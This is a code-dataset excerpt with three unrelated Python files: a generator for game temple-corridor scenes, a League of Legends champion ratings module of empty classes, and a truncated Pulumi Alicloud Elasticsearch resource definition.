trigger_list = [] collision_data_list = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 15, 255, 207, 48, 255, 12, 243, 207, 48, 255, 12, 243, 207, 48, 63, 0, 192, 3, 0, 60, 0, 192, 3, 0, 60, 0, 192, 3, 0, 60, 0, 192, 0, 0, 15, 0, 240, 0, 0, 15, 0, 240, 3, 51, 63, 48, 243, 3, 51, 63, 48, 243, 63, 0, 255, 3, 240, 63, 0, 255, 3, 240] gen_scene_bkg = generator.makeBackground("corridors_03.png") gen_scene_scn = generator.makeScene("_gen_temple_corridor_03", gen_scene_bkg, collisions=collision_data_list, actors=actor_list, triggers=trigger_list, scene_label="scene_gen_temple_corridor_03_00003") def addConnection_00(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_00 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_00['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_00 connection_00 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_00, 'args': { 'exit_location': (9, 6), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (8, 5), 'entrance_size': (4, 1) }, 'tags': ['B'] } def addConnection_01(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_01 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_01['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_01 connection_01 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_01, 'args': { 'exit_location': (1, 20), 'exit_direction': 'right', 'entrance': gen_scene_scn['id'], 'entrance_location': (0, 18), 'entrance_size': (1, 4) }, 'tags': ['B'] } def addConnection_02(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_02 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_02['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_02 connection_02 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_02, 'args': { 'exit_location': (10, 28), 'exit_direction': 'up', 'entrance': gen_scene_scn['id'], 'entrance_location': (6, 29), 'entrance_size': (10, 1) }, 'tags': ['B'] } gen_scene_connections = [connection_00, connection_01, connection_02] scene_data = {"scene": gen_scene_scn, "background": gen_scene_bkg, "sprites": [], "connections": gen_scene_connections, "references": [], "tags": ["Temple"]} return scene_data def scene_gen_temple_corridor_04_00004(callback): actor_name_table = {} actor_list = [] trigger_00 = generator.makeTrigger('trigger_00', 0, 6, 1, 10) trigger_01 = generator.makeTrigger('trigger_01', 29, 6, 1, 10) trigger_02 = generator.makeTrigger('trigger_02', 18, 5, 2, 1) trigger_list = [] collision_data_list = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 252, 15, 12, 12, 12, 0, 3, 3, 3, 192, 192, 192, 0, 48, 48, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 63] gen_scene_bkg = generator.makeBackground("corridors_04.png") gen_scene_scn = generator.makeScene("_gen_temple_corridor_04", gen_scene_bkg, collisions=collision_data_list, actors=actor_list, triggers=trigger_list, scene_label="scene_gen_temple_corridor_04_00004") def addConnection_00(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_00 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_00['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_00 connection_00 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_00, 'args': { 'exit_location': (1, 11), 'exit_direction': 'right', 'entrance': gen_scene_scn['id'], 'entrance_location': (0, 6), 'entrance_size': (1, 10) }, 'tags': ['B'] } def addConnection_01(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_01 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_01['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_01 connection_01 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_01, 'args': { 'exit_location': (27, 11), 'exit_direction': 'left', 'entrance': gen_scene_scn['id'], 'entrance_location': (29, 6), 'entrance_size': (1, 10) }, 'tags': ['B'] } def addConnection_02(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_02 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_02['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_02 connection_02 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_02, 'args': { 'exit_location': (18, 6), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (18, 5), 'entrance_size': (2, 1) }, 'tags': ['B'] } gen_scene_connections = [connection_00, connection_01, connection_02] scene_data = {"scene": gen_scene_scn, "background": gen_scene_bkg, "sprites": [], "connections": gen_scene_connections, "references": [], "tags": ["Temple"]} return scene_data def scene_gen_temple_corridor_05_00005(callback): actor_name_table = {} actor_list = [] trigger_00 = generator.makeTrigger('trigger_00', 0, 3, 1, 8) trigger_01 = generator.makeTrigger('trigger_01', 17, 0, 6, 1) trigger_02 = generator.makeTrigger('trigger_02', 7, 2, 2, 1) trigger_list = [] collision_data_list = [255, 255, 129, 224, 255, 127, 32, 248, 231, 31, 8, 2, 0, 0, 130, 0, 0, 128, 32, 0, 0, 32, 8, 0, 0, 8, 2, 0, 0, 130, 0, 0, 128, 32, 0, 0, 32, 8, 0, 0, 8, 254, 255, 255, 131, 255, 127, 248, 224, 255, 31, 62, 248, 255, 135, 15, 2, 0, 0, 128, 0, 0, 0, 32, 0, 0, 0, 8] gen_scene_bkg = generator.makeBackground("corridors_05.png") gen_scene_scn = generator.makeScene("_gen_temple_corridor_05", gen_scene_bkg, collisions=collision_data_list, actors=actor_list, triggers=trigger_list, scene_label="scene_gen_temple_corridor_05_00005") def addConnection_00(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_00 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_00['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_00 connection_00 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_00, 'args': { 'exit_location': (1, 8), 'exit_direction': 'right', 'entrance': gen_scene_scn['id'], 'entrance_location': (0, 3), 'entrance_size': (1, 8) }, 'tags': ['A'] } def addConnection_01(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_01 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_01['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_01 connection_01 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_01, 'args': { 'exit_location': (19, 1), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (17, 0), 'entrance_size': (6, 1) }, 'tags': ['A'] } def addConnection_02(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_02 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_02['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_02 connection_02 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_02, 'args': { 'exit_location': (7, 3), 'exit_direction': 'down', 'entrance': gen_scene_scn['id'], 'entrance_location': (7, 2), 'entrance_size': (2, 1) }, 'tags': ['A'] } gen_scene_connections = [connection_00, connection_01, connection_02] scene_data = {"scene": gen_scene_scn, "background": gen_scene_bkg, "sprites": [], "connections": gen_scene_connections, "references": [], "tags": ["Temple"]} return scene_data def scene_gen_temple_corridor_06_00006(callback): actor_name_table = {} actor_list = [] trigger_00 = generator.makeTrigger('trigger_00', 0, 6, 1, 13) trigger_01 = generator.makeTrigger('trigger_01', 19, 6, 1, 13) trigger_list = [] collision_data_list = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 128, 16, 0, 8, 1, 128, 16, 0, 8, 1, 128, 16, 0, 8, 1, 128, 16, 0, 8, 1, 128, 16, 0, 8, 1, 128, 16, 0, 8, 1, 128, 16, 240, 15, 255, 255, 240, 255, 15, 255, 255, 240, 15, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] gen_scene_bkg = generator.makeBackground("corridors_06.png") gen_scene_scn = generator.makeScene("_gen_temple_corridor_06", gen_scene_bkg, collisions=collision_data_list, actors=actor_list, triggers=trigger_list, scene_label="scene_gen_temple_corridor_06_00006") def addConnection_00(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_00 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_00['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_00 connection_00 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_00, 'args': { 'exit_location': (1, 16), 'exit_direction': 'right', 'entrance': gen_scene_scn['id'], 'entrance_location': (0, 6), 'entrance_size': (1, 13) }, 'tags': ['B'] } def addConnection_01(source_location, source_size, destination_scene_id, destination_location, destination_direction): trigger_01 = generator.makeTrigger('trigger_connection', source_location[0], source_location[1], source_size[0], source_size[1]) trigger_01['script'] = [ script.switchScene(sceneId=destination_scene_id, x=destination_location[0], y=destination_location[1], direction=destination_direction, fadeSpeed='2'), script.end() ] return trigger_01 connection_01 = {'type': 'SLOT_CONNECTION', 'creator': addConnection_01, 'args': { 'exit_location': (17, 7), 'exit_direction': 'left', 'entrance': gen_scene_scn['id'], 'entrance_location': (19, 6), 'entrance_size': (1, 13) }, 'tags': ['B'] } gen_scene_connections = [connection_00, connection_01] scene_data = {"scene": gen_scene_scn, "background": gen_scene_bkg, "sprites": [], "connections": gen_scene_connections, "references": [], "tags": ["Temple"]} return scene_data def catalog(): """ Returns a list of scene functions from this part of the library. """ return [scene_gen_temple_corridor_01_00001, scene_gen_temple_corridor_02_00002, scene_gen_temple_corridor_03_00003, #scene_gen_temple_corridor_04_00004, # removed because I used it for SaveTheWorld scene_gen_temple_corridor_05_00005, #scene_gen_temple_corridor_06_00006 # removed because I used it for SaveTheWorld ] return catalog, sprite_sheet_data def createExampleProject(): """ Demonstration of how the scene generators in this file can be used. """ project = generator.makeBasicProject() # Create sprite sheet for the player sprite player_sprite_sheet = generator.addSpriteSheet(project, "actor_animated.png", "actor_animated", "actor_animated") project.settings["playerSpriteSheetId"] = player_sprite_sheet["id"] scene_data_list = [] catalog, sprites = scene_generation() for scn_func in catalog(): scene_data_list.append(scn_func(None)) for element_sprite in sprites: project.spriteSheets.append(element_sprite) generator.connectScenesRandomlySymmetric(scene_data_list) for sdata in scene_data_list: generator.addSceneData(project, generator.translateReferences(sdata, scene_data_list)) # Add some music project.music.append(generator.makeMusic("template", "template.mod")) # Set the starting scene project.settings["startSceneId"] = project.scenes[0]["id"] project.settings["startX"] = 7 project.settings["startY"] = 21 return project def runTest(test_dir): generator.initializeGenerator() project = createExampleProject() generator.writeProjectToDisk(project, output_path = test_dir) # test creating scenes... if __name__ == '__main__': destination = test_generation_destination_path runTest(destination)

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cc8f631e0bfc20e58063cd540db728376616ec27

6,407

py

Python

loldib/getratings/models/NA/na_rakan/na_rakan_bot.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_rakan/na_rakan_bot.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_rakan/na_rakan_bot.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_Rakan_Bot_Aatrox(Ratings): pass class NA_Rakan_Bot_Ahri(Ratings): pass class NA_Rakan_Bot_Akali(Ratings): pass class NA_Rakan_Bot_Alistar(Ratings): pass class NA_Rakan_Bot_Amumu(Ratings): pass class NA_Rakan_Bot_Anivia(Ratings): pass class NA_Rakan_Bot_Annie(Ratings): pass class NA_Rakan_Bot_Ashe(Ratings): pass class NA_Rakan_Bot_AurelionSol(Ratings): pass class NA_Rakan_Bot_Azir(Ratings): pass class NA_Rakan_Bot_Bard(Ratings): pass class NA_Rakan_Bot_Blitzcrank(Ratings): pass class NA_Rakan_Bot_Brand(Ratings): pass class NA_Rakan_Bot_Braum(Ratings): pass class NA_Rakan_Bot_Caitlyn(Ratings): pass class NA_Rakan_Bot_Camille(Ratings): pass class NA_Rakan_Bot_Cassiopeia(Ratings): pass class NA_Rakan_Bot_Chogath(Ratings): pass class NA_Rakan_Bot_Corki(Ratings): pass class NA_Rakan_Bot_Darius(Ratings): pass class NA_Rakan_Bot_Diana(Ratings): pass class NA_Rakan_Bot_Draven(Ratings): pass class NA_Rakan_Bot_DrMundo(Ratings): pass class NA_Rakan_Bot_Ekko(Ratings): pass class NA_Rakan_Bot_Elise(Ratings): pass class NA_Rakan_Bot_Evelynn(Ratings): pass class NA_Rakan_Bot_Ezreal(Ratings): pass class NA_Rakan_Bot_Fiddlesticks(Ratings): pass class NA_Rakan_Bot_Fiora(Ratings): pass class NA_Rakan_Bot_Fizz(Ratings): pass class NA_Rakan_Bot_Galio(Ratings): pass class NA_Rakan_Bot_Gangplank(Ratings): pass class NA_Rakan_Bot_Garen(Ratings): pass class NA_Rakan_Bot_Gnar(Ratings): pass class NA_Rakan_Bot_Gragas(Ratings): pass class NA_Rakan_Bot_Graves(Ratings): pass class NA_Rakan_Bot_Hecarim(Ratings): pass class NA_Rakan_Bot_Heimerdinger(Ratings): pass class NA_Rakan_Bot_Illaoi(Ratings): pass class NA_Rakan_Bot_Irelia(Ratings): pass class NA_Rakan_Bot_Ivern(Ratings): pass class NA_Rakan_Bot_Janna(Ratings): pass class NA_Rakan_Bot_JarvanIV(Ratings): pass class NA_Rakan_Bot_Jax(Ratings): pass class NA_Rakan_Bot_Jayce(Ratings): pass class NA_Rakan_Bot_Jhin(Ratings): pass class NA_Rakan_Bot_Jinx(Ratings): pass class NA_Rakan_Bot_Kalista(Ratings): pass class NA_Rakan_Bot_Karma(Ratings): pass class NA_Rakan_Bot_Karthus(Ratings): pass class NA_Rakan_Bot_Kassadin(Ratings): pass class NA_Rakan_Bot_Katarina(Ratings): pass class NA_Rakan_Bot_Kayle(Ratings): pass class NA_Rakan_Bot_Kayn(Ratings): pass class NA_Rakan_Bot_Kennen(Ratings): pass class NA_Rakan_Bot_Khazix(Ratings): pass class NA_Rakan_Bot_Kindred(Ratings): pass class NA_Rakan_Bot_Kled(Ratings): pass class NA_Rakan_Bot_KogMaw(Ratings): pass class NA_Rakan_Bot_Leblanc(Ratings): pass class NA_Rakan_Bot_LeeSin(Ratings): pass class NA_Rakan_Bot_Leona(Ratings): pass class NA_Rakan_Bot_Lissandra(Ratings): pass class NA_Rakan_Bot_Lucian(Ratings): pass class NA_Rakan_Bot_Lulu(Ratings): pass class NA_Rakan_Bot_Lux(Ratings): pass class NA_Rakan_Bot_Malphite(Ratings): pass class NA_Rakan_Bot_Malzahar(Ratings): pass class NA_Rakan_Bot_Maokai(Ratings): pass class NA_Rakan_Bot_MasterYi(Ratings): pass class NA_Rakan_Bot_MissFortune(Ratings): pass class NA_Rakan_Bot_MonkeyKing(Ratings): pass class NA_Rakan_Bot_Mordekaiser(Ratings): pass class NA_Rakan_Bot_Morgana(Ratings): pass class NA_Rakan_Bot_Nami(Ratings): pass class NA_Rakan_Bot_Nasus(Ratings): pass class NA_Rakan_Bot_Nautilus(Ratings): pass class NA_Rakan_Bot_Nidalee(Ratings): pass class NA_Rakan_Bot_Nocturne(Ratings): pass class NA_Rakan_Bot_Nunu(Ratings): pass class NA_Rakan_Bot_Olaf(Ratings): pass class NA_Rakan_Bot_Orianna(Ratings): pass class NA_Rakan_Bot_Ornn(Ratings): pass class NA_Rakan_Bot_Pantheon(Ratings): pass class NA_Rakan_Bot_Poppy(Ratings): pass class NA_Rakan_Bot_Quinn(Ratings): pass class NA_Rakan_Bot_Rakan(Ratings): pass class NA_Rakan_Bot_Rammus(Ratings): pass class NA_Rakan_Bot_RekSai(Ratings): pass class NA_Rakan_Bot_Renekton(Ratings): pass class NA_Rakan_Bot_Rengar(Ratings): pass class NA_Rakan_Bot_Riven(Ratings): pass class NA_Rakan_Bot_Rumble(Ratings): pass class NA_Rakan_Bot_Ryze(Ratings): pass class NA_Rakan_Bot_Sejuani(Ratings): pass class NA_Rakan_Bot_Shaco(Ratings): pass class NA_Rakan_Bot_Shen(Ratings): pass class NA_Rakan_Bot_Shyvana(Ratings): pass class NA_Rakan_Bot_Singed(Ratings): pass class NA_Rakan_Bot_Sion(Ratings): pass class NA_Rakan_Bot_Sivir(Ratings): pass class NA_Rakan_Bot_Skarner(Ratings): pass class NA_Rakan_Bot_Sona(Ratings): pass class NA_Rakan_Bot_Soraka(Ratings): pass class NA_Rakan_Bot_Swain(Ratings): pass class NA_Rakan_Bot_Syndra(Ratings): pass class NA_Rakan_Bot_TahmKench(Ratings): pass class NA_Rakan_Bot_Taliyah(Ratings): pass class NA_Rakan_Bot_Talon(Ratings): pass class NA_Rakan_Bot_Taric(Ratings): pass class NA_Rakan_Bot_Teemo(Ratings): pass class NA_Rakan_Bot_Thresh(Ratings): pass class NA_Rakan_Bot_Tristana(Ratings): pass class NA_Rakan_Bot_Trundle(Ratings): pass class NA_Rakan_Bot_Tryndamere(Ratings): pass class NA_Rakan_Bot_TwistedFate(Ratings): pass class NA_Rakan_Bot_Twitch(Ratings): pass class NA_Rakan_Bot_Udyr(Ratings): pass class NA_Rakan_Bot_Urgot(Ratings): pass class NA_Rakan_Bot_Varus(Ratings): pass class NA_Rakan_Bot_Vayne(Ratings): pass class NA_Rakan_Bot_Veigar(Ratings): pass class NA_Rakan_Bot_Velkoz(Ratings): pass class NA_Rakan_Bot_Vi(Ratings): pass class NA_Rakan_Bot_Viktor(Ratings): pass class NA_Rakan_Bot_Vladimir(Ratings): pass class NA_Rakan_Bot_Volibear(Ratings): pass class NA_Rakan_Bot_Warwick(Ratings): pass class NA_Rakan_Bot_Xayah(Ratings): pass class NA_Rakan_Bot_Xerath(Ratings): pass class NA_Rakan_Bot_XinZhao(Ratings): pass class NA_Rakan_Bot_Yasuo(Ratings): pass class NA_Rakan_Bot_Yorick(Ratings): pass class NA_Rakan_Bot_Zac(Ratings): pass class NA_Rakan_Bot_Zed(Ratings): pass class NA_Rakan_Bot_Ziggs(Ratings): pass class NA_Rakan_Bot_Zilean(Ratings): pass class NA_Rakan_Bot_Zyra(Ratings): pass

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1

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null

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1

0

7

aef1ea9de07acc572376bdac20627de47b216da0

88,415

py

Python

sdk/python/pulumi_alicloud/elasticsearch/instance.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

42

2019-03-18T06:34:37.000Z

2022-03-24T07:08:57.000Z

sdk/python/pulumi_alicloud/elasticsearch/instance.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

152

2019-04-15T21:03:44.000Z

2022-03-29T18:00:57.000Z

sdk/python/pulumi_alicloud/elasticsearch/instance.py

pulumi/pulumi-alicloud

9c34d84b4588a7c885c6bec1f03b5016e5a41683

[ "ECL-2.0", "Apache-2.0" ]

3

2020-08-26T17:30:07.000Z

2021-07-05T01:37:45.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['InstanceArgs', 'Instance'] @pulumi.input_type class InstanceArgs: def __init__(__self__, *, data_node_amount: pulumi.Input[int], data_node_disk_size: pulumi.Input[int], data_node_disk_type: pulumi.Input[str], data_node_spec: pulumi.Input[str], version: pulumi.Input[str], vswitch_id: pulumi.Input[str], client_node_amount: Optional[pulumi.Input[int]] = None, client_node_spec: Optional[pulumi.Input[str]] = None, data_node_disk_encrypted: Optional[pulumi.Input[bool]] = None, description: Optional[pulumi.Input[str]] = None, enable_kibana_private_network: Optional[pulumi.Input[bool]] = None, enable_kibana_public_network: Optional[pulumi.Input[bool]] = None, enable_public: Optional[pulumi.Input[bool]] = None, instance_charge_type: Optional[pulumi.Input[str]] = None, kibana_private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kibana_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kms_encrypted_password: Optional[pulumi.Input[str]] = None, kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None, master_node_spec: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, private_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, protocol: Optional[pulumi.Input[str]] = None, public_whitelists: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, resource_group_id: Optional[pulumi.Input[str]] = None, setting_config: Optional[pulumi.Input[Mapping[str, Any]]] = None, tags: Optional[pulumi.Input[Mapping[str, Any]]] = None, zone_count: Optional[pulumi.Input[int]] = None): """ The set of arguments for constructing a Instance resource. :param pulumi.Input[int] data_node_amount: The Elasticsearch cluster's data node quantity, between 2 and 50. :param pulumi.Input[int] data_node_disk_size: The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). :param pulumi.Input[str] data_node_disk_type: The data node disk type. Supported values: cloud_ssd, cloud_efficiency. :param pulumi.Input[str] data_node_spec: The data node specifications of the Elasticsearch instance. :param pulumi.Input[str] version: Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. :param pulumi.Input[str] vswitch_id: The ID of VSwitch. :param pulumi.Input[int] client_node_amount: The Elasticsearch cluster's client node quantity, between 2 and 25. :param pulumi.Input[str] client_node_spec: The client node spec. If specified, client node will be created. :param pulumi.Input[bool] data_node_disk_encrypted: If encrypt the data node disk. Valid values are `true`, `false`. Default to `false`. :param pulumi.Input[str] description: The description of instance. It a string of 0 to 30 characters. :param pulumi.Input[bool] enable_kibana_private_network: Bool, default to false. When it set to true, the instance can close kibana private network access。 :param pulumi.Input[bool] enable_kibana_public_network: Bool, default to true. When it set to false, the instance can enable kibana public network access。 :param pulumi.Input[bool] enable_public: Bool, default to false. When it set to true, the instance can enable public network access。 :param pulumi.Input[str] instance_charge_type: Valid values are `PrePaid`, `PostPaid`. Default to `PostPaid`. From version 1.69.0, the Elasticsearch cluster allows you to update your instance_charge_ype from `PostPaid` to `PrePaid`, the following attributes are required: `period`. But, updating from `PostPaid` to `PrePaid` is not supported. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_private_whitelists: Set the Kibana's IP whitelist in private network. :param pulumi.Input[Sequence[pulumi.Input[str]]] kibana_whitelists: Set the Kibana's IP whitelist in internet network. :param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a instance. If the `password` is filled in, this field will be ignored, but you have to specify one of `password` and `kms_encrypted_password` fields. :param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating instance with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. :param pulumi.Input[str] master_node_spec: The dedicated master node spec. If specified, dedicated master node will be created. :param pulumi.Input[str] password: The password of the instance. The password can be 8 to 30 characters in length and must contain three of the following conditions: uppercase letters, lowercase letters, numbers, and special characters (`!@#$%^&*()_+-=`). :param pulumi.Input[int] period: The duration that you will buy Elasticsearch instance (in month). It is valid when instance_charge_type is `PrePaid`. Valid values: [1~9], 12, 24, 36. Default to 1. From version 1.69.2, when to modify this value, the resource can renewal a `PrePaid` instance. :param pulumi.Input[Sequence[pulumi.Input[str]]] private_whitelists: Set the instance's IP whitelist in VPC network. :param pulumi.Input[str] protocol: Elasticsearch protocol. Supported values: `HTTP`, `HTTPS`.default is `HTTP`. :param pulumi.Input[Sequence[pulumi.Input[str]]] public_whitelists: Set the instance's IP whitelist in internet network. :param pulumi.Input[str] resource_group_id: The Id of resource group which the Elasticsearch instance belongs. :param pulumi.Input[Mapping[str, Any]] setting_config: The YML configuration of the instance.[Detailed introduction](https://www.alibabacloud.com/help/doc-detail/61336.html). :param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. - key: It can be up to 128 characters in length. It cannot begin with "aliyun", "acs:". It cannot contain "http://" and "https://". It cannot be a null string. - value: It can be up to 128 characters in length. It cannot contain "http://" and "https://". It can be a null string. :param pulumi.Input[int] zone_count: The Multi-AZ supported for Elasticsearch, between 1 and 3. The `data_node_amount` value must be an integral multiple of the `zone_count` value. """ pulumi.set(__self__, "data_node_amount", data_node_amount) pulumi.set(__self__, "data_node_disk_size", data_node_disk_size) pulumi.set(__self__, "data_node_disk_type", data_node_disk_type) pulumi.set(__self__, "data_node_spec", data_node_spec) pulumi.set(__self__, "version", version) pulumi.set(__self__, "vswitch_id", vswitch_id) if client_node_amount is not None: pulumi.set(__self__, "client_node_amount", client_node_amount) if client_node_spec is not None: pulumi.set(__self__, "client_node_spec", client_node_spec) if data_node_disk_encrypted is not None: pulumi.set(__self__, "data_node_disk_encrypted", data_node_disk_encrypted) if description is not None: pulumi.set(__self__, "description", description) if enable_kibana_private_network is not None: pulumi.set(__self__, "enable_kibana_private_network", enable_kibana_private_network) if enable_kibana_public_network is not None: pulumi.set(__self__, "enable_kibana_public_network", enable_kibana_public_network) if enable_public is not None: pulumi.set(__self__, "enable_public", enable_public) if instance_charge_type is not None: pulumi.set(__self__, "instance_charge_type", instance_charge_type) if kibana_private_whitelists is not None: pulumi.set(__self__, "kibana_private_whitelists", kibana_private_whitelists) if kibana_whitelists is not None: pulumi.set(__self__, "kibana_whitelists", kibana_whitelists) if kms_encrypted_password is not None: pulumi.set(__self__, "kms_encrypted_password", kms_encrypted_password) if kms_encryption_context is not None: pulumi.set(__self__, "kms_encryption_context", kms_encryption_context) if master_node_spec is not None: pulumi.set(__self__, "master_node_spec", master_node_spec) if password is not None: pulumi.set(__self__, "password", password) if period is not None: pulumi.set(__self__, "period", period) if private_whitelists is not None: pulumi.set(__self__, "private_whitelists", private_whitelists) if protocol is not None: pulumi.set(__self__, "protocol", protocol) if public_whitelists is not None: pulumi.set(__self__, "public_whitelists", public_whitelists) if resource_group_id is not None: pulumi.set(__self__, "resource_group_id", resource_group_id) if setting_config is not None: pulumi.set(__self__, "setting_config", setting_config) if tags is not None: pulumi.set(__self__, "tags", tags) if zone_count is not None: pulumi.set(__self__, "zone_count", zone_count) @property @pulumi.getter(name="dataNodeAmount") def data_node_amount(self) -> pulumi.Input[int]: """ The Elasticsearch cluster's data node quantity, between 2 and 50. """ return pulumi.get(self, "data_node_amount") @data_node_amount.setter def data_node_amount(self, value: pulumi.Input[int]): pulumi.set(self, "data_node_amount", value) @property @pulumi.getter(name="dataNodeDiskSize") def data_node_disk_size(self) -> pulumi.Input[int]: """ The single data node storage space. - `cloud_ssd`: An SSD disk, supports a maximum of 2048 GiB (2 TB). """ return pulumi.get(self, "data_node_disk_size") @data_node_disk_size.setter def data_node_disk_size(self, value: pulumi.Input[int]): pulumi.set(self, "data_node_disk_size", value) @property @pulumi.getter(name="dataNodeDiskType") def data_node_disk_type(self) -> pulumi.Input[str]: """ The data node disk type. Supported values: cloud_ssd, cloud_efficiency. """ return pulumi.get(self, "data_node_disk_type") @data_node_disk_type.setter def data_node_disk_type(self, value: pulumi.Input[str]): pulumi.set(self, "data_node_disk_type", value) @property @pulumi.getter(name="dataNodeSpec") def data_node_spec(self) -> pulumi.Input[str]: """ The data node specifications of the Elasticsearch instance. """ return pulumi.get(self, "data_node_spec") @data_node_spec.setter def data_node_spec(self, value: pulumi.Input[str]): pulumi.set(self, "data_node_spec", value) @property @pulumi.getter def version(self) -> pulumi.Input[str]: """ Elasticsearch version. Supported values: `5.5.3_with_X-Pack`, `6.3_with_X-Pack`, `6.7_with_X-Pack`, `6.8_with_X-Pack`, `7.4_with_X-Pack` and `7.7_with_X-Pack`. """ return pulumi.get(self, "version") @version.setter def version(self, value: pulumi.Input[str]): pulumi.set(self, "version", value) @property @pulumi.getter(name="vswitchId") def vswitch_id(self) -> pulumi.Input[str]: """ The ID of VSwitch. """ return pulumi.get(self, "vswitch_id") @vswitch_id.setter def vswitch_id(self, value: pulumi.Input[str]): pulumi.set(self, "vswitch_id", value) @property 